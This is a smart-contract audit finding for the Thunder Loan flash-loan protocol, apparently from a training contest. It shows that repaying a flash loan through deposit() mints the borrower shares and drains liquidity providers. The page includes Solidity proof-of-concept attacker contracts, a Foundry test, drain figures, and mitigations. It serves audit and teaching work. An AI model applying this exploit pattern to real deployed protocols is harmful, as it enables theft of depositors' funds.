Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash loan can be settled with deposit() instead of repay(), minting the attacker shares and draining liquidity providers

Root + Impact

Description

flashloan verifies repayment by comparing the AssetToken's closing token balance against its opening balance plus the fee. It never records who returned the money or through which function.

// src/protocol/ThunderLoan.sol - flashloan
uint256 endingBalance = token.balanceOf(address(assetToken));
@> if (endingBalance < startingBalance + fee) { // only a balance check
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}

deposit sends tokens to that same AssetToken address and has no flash-loan guard, so it satisfies the balance check exactly like repay — while additionally minting shares to the caller:

// src/protocol/ThunderLoan.sol - deposit
@> assetToken.mint(msg.sender, mintAmount); // attacker receives shares
@> token.safeTransferFrom(msg.sender, address(assetToken), amount); // same destination as repay()

The borrower settles the loan with the protocol's own money and keeps a claim on it. repay is correctly gated on s_currentlyFlashLoaning, but nothing forces its use.

Risk

Likelihood: High

Any address can call flashloan with a receiver contract it controls. The attacker needs only enough capital to cover the fee, and the attack is a single transaction repeatable until the pool is empty. No privileges and no special market conditions are required.

Impact: High

The attacker converts borrowed funds into AssetToken shares backed by the liquidity providers' deposits, then redeems them after the loan closes. This is direct theft of the protocol's underlying.

Proof of Concept

The receiver settles via deposit instead of repay, then redeems the shares minted during the loan.

function executeOperation(address token, uint256 amount, uint256 fee, address, bytes calldata)
external returns (bool)
{
assetToken = thunderLoan.getAssetFromToken(IERC20(token));
​
// Settle via deposit(): same tokens, same destination - but this mints shares to us.
uint256 settle = amount + fee;
IERC20(token).approve(address(thunderLoan), settle);
thunderLoan.deposit(IERC20(token), settle);
return true;
}
​
// After the loan closes, redeem the shares minted during it:
// thunderLoan.redeem(token, assetToken.balanceOf(address(this)));

Against a pool holding 1000e18, with the attacker funding only the 1.5e18 fee:

protocol balance before: 1000000000000000000000 (1000 tokenA)
protocol balance after : 499496744249000999003 (499.5 tokenA)
attacker balance after : 502003255750999000997 (502 tokenA)
DRAINED FROM PROTOCOL : 500503255750999000997 (500.5 tokenA)

The attacker spent 1.5 tokenA and took 500.5 tokenA of the liquidity providers' funds.

Recommended Mitigation

A balance comparison cannot distinguish money returned as repayment from money paid in for shares, because both land on the same address. The check must confirm the debt was settled through the intended path.

s_currentlyFlashLoaning already tracks an outstanding loan and is simply not consulted by deposit:

+ error ThunderLoan__CurrentlyFlashLoaning();
+
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CurrentlyFlashLoaning();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];

Stronger still: have repay credit an explicit per-loan counter and have flashloan require that counter to cover amount + fee, which also closes the related case of plain transfer donations counting as repayment.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 15 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!